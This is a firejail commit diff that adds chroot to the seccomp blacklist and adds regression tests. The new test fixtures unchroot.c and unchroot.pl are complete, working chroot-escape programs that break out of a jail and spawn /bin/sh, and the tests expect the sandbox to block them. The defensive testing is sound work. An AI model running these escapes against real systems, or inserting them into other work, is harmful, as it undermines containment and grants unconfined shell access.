aboutsummaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
-rw-r--r--src/firejail/main.c4
-rw-r--r--src/firejail/sandbox.c2
-rw-r--r--src/firejail/seccomp.c4
-rw-r--r--src/firejail/usage.c2
-rw-r--r--src/man/firejail.txt2
-rwxr-xr-xsrc/tools/unchrootbin0 -> 9720 bytes
-rw-r--r--src/tools/unchroot.c125
-rwxr-xr-xsrc/tools/unchroot.pl33
-rwxr-xr-xtest/configure4
-rwxr-xr-xtest/fs_chroot.exp17
-rwxr-xr-xtest/fs_chroot_asroot.exp91
-rwxr-xr-xtest/test-root.sh6
-rwxr-xr-xtest/trace.exp2
13 files changed, 281 insertions, 11 deletions
diff --git a/src/firejail/main.c b/src/firejail/main.c
index e39a41502..1c1c3a08f 100644
--- a/src/firejail/main.c
+++ b/src/firejail/main.c
@@ -1226,8 +1226,8 @@ int main(int argc, char **argv) {
1226 fprintf(stderr, "Warning: default profile disabled by --chroot option\n"); 1226 fprintf(stderr, "Warning: default profile disabled by --chroot option\n");
1227 else if (arg_overlay) 1227 else if (arg_overlay)
1228 fprintf(stderr, "Warning: default profile disabled by --overlay option\n"); 1228 fprintf(stderr, "Warning: default profile disabled by --overlay option\n");
1229 else if (cfg.home_private_keep) 1229// else if (cfg.home_private_keep)
1230 fprintf(stderr, "Warning: default profile disabled by --private-home option\n"); 1230// fprintf(stderr, "Warning: default profile disabled by --private-home option\n");
1231 else { 1231 else {
1232 // try to load a default profile 1232 // try to load a default profile
1233 char *profile_name = DEFAULT_USER_PROFILE; 1233 char *profile_name = DEFAULT_USER_PROFILE;
diff --git a/src/firejail/sandbox.c b/src/firejail/sandbox.c
index 427b3fc09..b23c5d742 100644
--- a/src/firejail/sandbox.c
+++ b/src/firejail/sandbox.c
@@ -210,6 +210,8 @@ int sandbox(void* sandbox_arg) {
210 if (!arg_quiet) 210 if (!arg_quiet)
211 printf("Dropping all Linux capabilities and enforcing default seccomp filter\n"); 211 printf("Dropping all Linux capabilities and enforcing default seccomp filter\n");
212 } 212 }
213 else
214 arg_seccomp = 1;
213 215
214 //**************************** 216 //****************************
215 // trace pre-install, this time inside chroot 217 // trace pre-install, this time inside chroot
diff --git a/src/firejail/seccomp.c b/src/firejail/seccomp.c
index 6ab3ae56e..353b212f6 100644
--- a/src/firejail/seccomp.c
+++ b/src/firejail/seccomp.c
@@ -385,6 +385,7 @@ void seccomp_filter_32(void) {
385 BLACKLIST(294), // migrate_pages 385 BLACKLIST(294), // migrate_pages
386 BLACKLIST(317), // move_pages 386 BLACKLIST(317), // move_pages
387 BLACKLIST(316), // vmsplice 387 BLACKLIST(316), // vmsplice
388 BLACKLIST(61), // chroot
388 RETURN_ALLOW 389 RETURN_ALLOW
389 }; 390 };
390 391
@@ -558,6 +559,9 @@ int seccomp_filter_drop(void) {
558#ifdef SYS_vmsplice 559#ifdef SYS_vmsplice
559 filter_add_blacklist(SYS_vmsplice, 0); 560 filter_add_blacklist(SYS_vmsplice, 0);
560#endif 561#endif
562#ifdef SYS_chroot
563 filter_add_blacklist(SYS_chroot, 0);
564#endif
561 //#ifdef SYS_set_robust_list 565 //#ifdef SYS_set_robust_list
562 // filter_add_blacklist(SYS_set_robust_list, 0); 566 // filter_add_blacklist(SYS_set_robust_list, 0);
563 //#endif 567 //#endif
diff --git a/src/firejail/usage.c b/src/firejail/usage.c
index c829b94f2..76c12ecc1 100644
--- a/src/firejail/usage.c
+++ b/src/firejail/usage.c
@@ -225,7 +225,7 @@ void usage(void) {
225 printf("\t\tio_destroy, io_getevents, io_submit, io_cancel,\n"); 225 printf("\t\tio_destroy, io_getevents, io_submit, io_cancel,\n");
226 printf("\t\tremap_file_pages, mbind, get_mempolicy, set_mempolicy,\n"); 226 printf("\t\tremap_file_pages, mbind, get_mempolicy, set_mempolicy,\n");
227 printf("\t\tmigrate_pages, move_pages, vmsplice, perf_event_open and\n"); 227 printf("\t\tmigrate_pages, move_pages, vmsplice, perf_event_open and\n");
228 printf("\t\tkexec_file_load.\n\n"); 228 printf("\t\tkexec_file_load, chroot.\n\n");
229 229
230 printf("\t--seccomp=syscall,syscall,syscall - enable seccomp filter, blacklist the\n"); 230 printf("\t--seccomp=syscall,syscall,syscall - enable seccomp filter, blacklist the\n");
231 printf("\t\tdefault syscall list and the syscalls specified by the command.\n\n"); 231 printf("\t\tdefault syscall list and the syscalls specified by the command.\n\n");
diff --git a/src/man/firejail.txt b/src/man/firejail.txt
index 52b75afaa..912a08580 100644
--- a/src/man/firejail.txt
+++ b/src/man/firejail.txt
@@ -905,7 +905,7 @@ sysfs,_sysctl, adjtimex, clock_adjtime, lookup_dcookie, perf_event_open, fanotif
905add_key, request_key, keyctl, uselib, acct, modify_ldt, pivot_root, io_setup, 905add_key, request_key, keyctl, uselib, acct, modify_ldt, pivot_root, io_setup,
906io_destroy, io_getevents, io_submit, io_cancel, 906io_destroy, io_getevents, io_submit, io_cancel,
907remap_file_pages, mbind, get_mempolicy, set_mempolicy, 907remap_file_pages, mbind, get_mempolicy, set_mempolicy,
908migrate_pages, move_pages, vmsplice, and perf_event_open. 908migrate_pages, move_pages, vmsplice, perf_event_open and chroot.
909.br 909.br
910 910
911.br 911.br
diff --git a/src/tools/unchroot b/src/tools/unchroot
new file mode 100755
index 000000000..d32ce2682
--- /dev/null
+++ b/src/tools/unchroot
Binary files differ
diff --git a/src/tools/unchroot.c b/src/tools/unchroot.c
new file mode 100644
index 000000000..21731296e
--- /dev/null
+++ b/src/tools/unchroot.c
@@ -0,0 +1,125 @@
1#include <stdio.h>
2#include <stdlib.h>
3#include <errno.h>
4#include <fcntl.h>
5#include <string.h>
6#include <unistd.h>
7#include <sys/stat.h>
8#include <sys/types.h>
9
10/*
11 ** You should set NEED_FCHDIR to 1 if the chroot() on your
12 ** system changes the working directory of the calling
13 ** process to the same directory as the process was chroot()ed
14 ** to.
15 **
16 ** It is known that you do not need to set this value if you
17 ** running on Solaris 2.7 and below.
18 **
19 */
20#define NEED_FCHDIR 0
21
22#define TEMP_DIR "waterbuffalo"
23
24/* Break out of a chroot() environment in C */
25
26int main() {
27 int x; /* Used to move up a directory tree */
28 int done=0; /* Are we done yet ? */
29#ifdef NEED_FCHDIR
30 int dir_fd; /* File descriptor to directory */
31#endif
32 struct stat sbuf; /* The stat() buffer */
33
34 /*
35 ** First we create the temporary directory if it doesn't exist
36 */
37 if (stat(TEMP_DIR,&sbuf)<0) {
38 if (errno==ENOENT) {
39 if (mkdir(TEMP_DIR,0755)<0) {
40 fprintf(stderr,"Failed to create %s - %s\n", TEMP_DIR,
41 strerror(errno));
42 exit(1);
43 }
44 }
45 else {
46 fprintf(stderr,"Failed to stat %s - %s\n", TEMP_DIR,
47 strerror(errno));
48 exit(1);
49 }
50 }
51 else if (!S_ISDIR(sbuf.st_mode)) {
52 fprintf(stderr,"Error - %s is not a directory!\n",TEMP_DIR);
53 exit(1);
54 }
55
56#ifdef NEED_FCHDIR
57 /*
58 ** Now we open the current working directory
59 **
60 ** Note: Only required if chroot() changes the calling program's
61 ** working directory to the directory given to chroot().
62 **
63 */
64 if ((dir_fd=open(".",O_RDONLY))<0) {
65 fprintf(stderr,"Failed to open \".\" for reading - %s\n",
66 strerror(errno));
67 exit(1);
68 }
69#endif
70
71 /*
72 ** Next we chroot() to the temporary directory
73 */
74 if (chroot(TEMP_DIR)<0) {
75 fprintf(stderr,"Failed to chroot to %s - %s\n",TEMP_DIR,
76 strerror(errno));
77 exit(1);
78 }
79
80#ifdef NEED_FCHDIR
81 /*
82 ** Partially break out of the chroot by doing an fchdir()
83 **
84 ** This only partially breaks out of the chroot() since whilst
85 ** our current working directory is outside of the chroot() jail,
86 ** our root directory is still within it. Thus anything which refers
87 ** to "/" will refer to files under the chroot() point.
88 **
89 ** Note: Only required if chroot() changes the calling program's
90 ** working directory to the directory given to chroot().
91 **
92 */
93 if (fchdir(dir_fd)<0) {
94 fprintf(stderr,"Failed to fchdir - %s\n",
95 strerror(errno));
96 exit(1);
97 }
98 close(dir_fd);
99#endif
100
101 /*
102 ** Completely break out of the chroot by recursing up the directory
103 ** tree and doing a chroot to the current working directory (which will
104 ** be the real "/" at that point). We just do a chdir("..") lots of
105 ** times (1024 times for luck :). If we hit the real root directory before
106 ** we have finished the loop below it doesn't matter as .. in the root
107 ** directory is the same as . in the root.
108 **
109 ** We do the final break out by doing a chroot(".") which sets the root
110 ** directory to the current working directory - at this point the real
111 ** root directory.
112 */
113 for(x=0;x<1024;x++) {
114 chdir("..");
115 }
116 chroot(".");
117
118 /*
119 ** We're finally out - so exec a shell in interactive mode
120 */
121 if (execl("/bin/sh","-i",NULL)<0) {
122 fprintf(stderr,"Failed to exec - %s\n",strerror(errno));
123 exit(1);
124 }
125}
diff --git a/src/tools/unchroot.pl b/src/tools/unchroot.pl
new file mode 100755
index 000000000..bd30ffe76
--- /dev/null
+++ b/src/tools/unchroot.pl
@@ -0,0 +1,33 @@
1#!/usr/bin/perl -w
2use strict;
3# unchroot.pl Dec 2007
4# http://pentestmonkey.net/blog/chroot-breakout-perl
5
6# This script may be used for legal purposes only.
7
8# Go to the root of the jail
9chdir "/";
10
11# Open filehandle to root of jail
12opendir JAILROOT, "." or die "ERROR: Couldn't get file handle to root of jailn";
13
14# Create a subdir, move into it
15mkdir "mysubdir";
16chdir "mysubdir";
17
18# Lock ourselves in a new jail
19chroot ".";
20
21# Use our filehandle to get back to the root of the old jail
22chdir(*JAILROOT);
23
24# Get to the real root
25while ((stat("."))[0] != (stat(".."))[0] or (stat("."))[1] != (stat(".."))[1]) {
26 chdir "..";
27}
28
29# Lock ourselves in real root - so we're not really in a jail at all now
30chroot ".";
31
32# Start an un-jailed shell
33system("/bin/sh");
diff --git a/test/configure b/test/configure
index 17bb22e1b..01f0c6ff0 100755
--- a/test/configure
+++ b/test/configure
@@ -22,7 +22,7 @@ ROOTDIR="/tmp/chroot" # default chroot directory
22DEFAULT_FILES="/bin/bash /bin/sh " # basic chroot files 22DEFAULT_FILES="/bin/bash /bin/sh " # basic chroot files
23DEFAULT_FILES+="/etc/passwd /etc/nsswitch.conf /etc/group " 23DEFAULT_FILES+="/etc/passwd /etc/nsswitch.conf /etc/group "
24DEFAULT_FILES+=`find /lib -name libnss*` # files required by glibc 24DEFAULT_FILES+=`find /lib -name libnss*` # files required by glibc
25DEFAULT_FILES+=" /bin/ls /bin/cat /bin/ps /usr/bin/id /usr/bin/whoami /usr/bin/wc /usr/bin/wget" 25DEFAULT_FILES+=" /bin/ls /bin/cat /bin/ps /usr/bin/id /usr/bin/whoami /usr/bin/wc /usr/bin/wget /bin/umount"
26 26
27rm -fr $ROOTDIR 27rm -fr $ROOTDIR
28mkdir -p $ROOTDIR/{root,bin,lib,lib64,usr,home,etc,dev/shm,tmp,var/run,var/tmp,var/lock,proc} 28mkdir -p $ROOTDIR/{root,bin,lib,lib64,usr,home,etc,dev/shm,tmp,var/run,var/tmp,var/lock,proc}
@@ -33,6 +33,8 @@ do
33done 33done
34cp --parents /lib64/ld-linux-x86-64.so.2 $ROOTDIR 34cp --parents /lib64/ld-linux-x86-64.so.2 $ROOTDIR
35cp --parents /lib/ld-linux.so.2 $ROOTDIR 35cp --parents /lib/ld-linux.so.2 $ROOTDIR
36cp ../src/tools/unchroot $ROOTDIR/.
37touch $ROOTDIR/this-is-my-chroot
36 38
37cd $ROOTDIR; find . 39cd $ROOTDIR; find .
38mkdir -p usr/lib/firejail/ 40mkdir -p usr/lib/firejail/
diff --git a/test/fs_chroot.exp b/test/fs_chroot.exp
index 448a00a7a..4ddf8d32a 100755
--- a/test/fs_chroot.exp
+++ b/test/fs_chroot.exp
@@ -4,7 +4,7 @@ set timeout 10
4spawn $env(SHELL) 4spawn $env(SHELL)
5match_max 100000 5match_max 100000
6 6
7send -- "firejail --noprofile --chroot=/tmp/chroot\r" 7send -- "firejail --chroot=/tmp/chroot\r"
8expect { 8expect {
9 timeout {puts "TESTING ERROR 0\n";exit} 9 timeout {puts "TESTING ERROR 0\n";exit}
10 "Child process initialized" 10 "Child process initialized"
@@ -13,12 +13,24 @@ sleep 1
13 13
14send -- "cd /home;pwd\r" 14send -- "cd /home;pwd\r"
15expect { 15expect {
16 timeout {puts "TESTING ERROR 3\n";exit} 16 timeout {puts "TESTING ERROR 0.1\n";exit}
17 "home" 17 "home"
18} 18}
19sleep 1 19sleep 1
20send -- "bash\r" 20send -- "bash\r"
21sleep 1 21sleep 1
22send -- "ls /; pwd\r"
23expect {
24 timeout {puts "TESTING ERROR 0.2\n";exit}
25 "this-is-my-chroot"
26}
27expect {
28 timeout {puts "TESTING ERROR 0.3\n";exit}
29 "home"
30}
31
32
33
22send -- "ps aux; pwd\r" 34send -- "ps aux; pwd\r"
23expect { 35expect {
24 timeout {puts "TESTING ERROR 1\n";exit} 36 timeout {puts "TESTING ERROR 1\n";exit}
@@ -50,5 +62,6 @@ expect {
50} 62}
51sleep 1 63sleep 1
52 64
65
53puts "all done\n" 66puts "all done\n"
54 67
diff --git a/test/fs_chroot_asroot.exp b/test/fs_chroot_asroot.exp
new file mode 100755
index 000000000..7e18153e0
--- /dev/null
+++ b/test/fs_chroot_asroot.exp
@@ -0,0 +1,91 @@
1#!/usr/bin/expect -f
2
3set timeout 10
4spawn $env(SHELL)
5match_max 100000
6
7send -- "firejail --chroot=/tmp/chroot\r"
8expect {
9 timeout {puts "TESTING ERROR 0\n";exit}
10 "Child process initialized"
11}
12sleep 1
13
14send -- "cd /home;pwd\r"
15expect {
16 timeout {puts "TESTING ERROR 0.1\n";exit}
17 "home"
18}
19sleep 1
20send -- "bash\r"
21sleep 1
22send -- "ls /; pwd\r"
23expect {
24 timeout {puts "TESTING ERROR 0.2\n";exit}
25 "this-is-my-chroot"
26}
27expect {
28 timeout {puts "TESTING ERROR 0.3\n";exit}
29 "home"
30}
31
32send -- "umount /boot; pwd\r"
33expect {
34 timeout {puts "TESTING ERROR 0.4\n";exit}
35 "Bad system call"
36}
37expect {
38 timeout {puts "TESTING ERROR 0.5\n";exit}
39 "home"
40}
41
42send -- "/unchroot; pwd\r"
43expect {
44 timeout {puts "TESTING ERROR 0.6\n";exit}
45 "Bad system call"
46}
47expect {
48 timeout {puts "TESTING ERROR 0.7\n";exit}
49 "home"
50}
51
52
53
54
55
56send -- "ps aux; pwd\r"
57expect {
58 timeout {puts "TESTING ERROR 1\n";exit}
59 "/bin/bash"
60}
61expect {
62 timeout {puts "TESTING ERROR 2\n";exit}
63 "bash"
64}
65expect {
66 timeout {puts "TESTING ERROR 3\n";exit}
67 "ps aux"
68}
69expect {
70 timeout {puts "TESTING ERROR 4\n";exit}
71 "home"
72}
73sleep 1
74
75
76send -- "ps aux |wc -l; pwd\r"
77expect {
78 timeout {puts "TESTING ERROR 5\n";exit}
79 "5"
80}
81expect {
82 timeout {puts "TESTING ERROR 6\n";exit}
83 "home"
84}
85sleep 1
86
87
88
89
90puts "all done\n"
91
diff --git a/test/test-root.sh b/test/test-root.sh
index fcfe32a58..94ac3447d 100755
--- a/test/test-root.sh
+++ b/test/test-root.sh
@@ -5,6 +5,9 @@
5echo "TESTING: network interfaces" 5echo "TESTING: network interfaces"
6./net_interface.exp 6./net_interface.exp
7 7
8echo "TESTING: chroot"
9./fs_chroot_asroot.exp
10
8echo "TESTING: servers rsyslogd, sshd, nginx" 11echo "TESTING: servers rsyslogd, sshd, nginx"
9./servers.exp 12./servers.exp
10 13
@@ -46,9 +49,6 @@ echo hello > tmpfile
46./option_bind_file.exp 49./option_bind_file.exp
47rm -f tmpfile 50rm -f tmpfile
48 51
49echo "TESTING: chroot"
50./fs_chroot.exp
51
52echo "TESTING: firemon --interface" 52echo "TESTING: firemon --interface"
53./firemon-interface.exp 53./firemon-interface.exp
54 54
diff --git a/test/trace.exp b/test/trace.exp
index bca3ac3b3..2b5003d83 100755
--- a/test/trace.exp
+++ b/test/trace.exp
@@ -91,5 +91,5 @@ expect {
91sleep 1 91sleep 1
92 92
93 93
94puts "\n" 94puts "\nall done\n"
95 95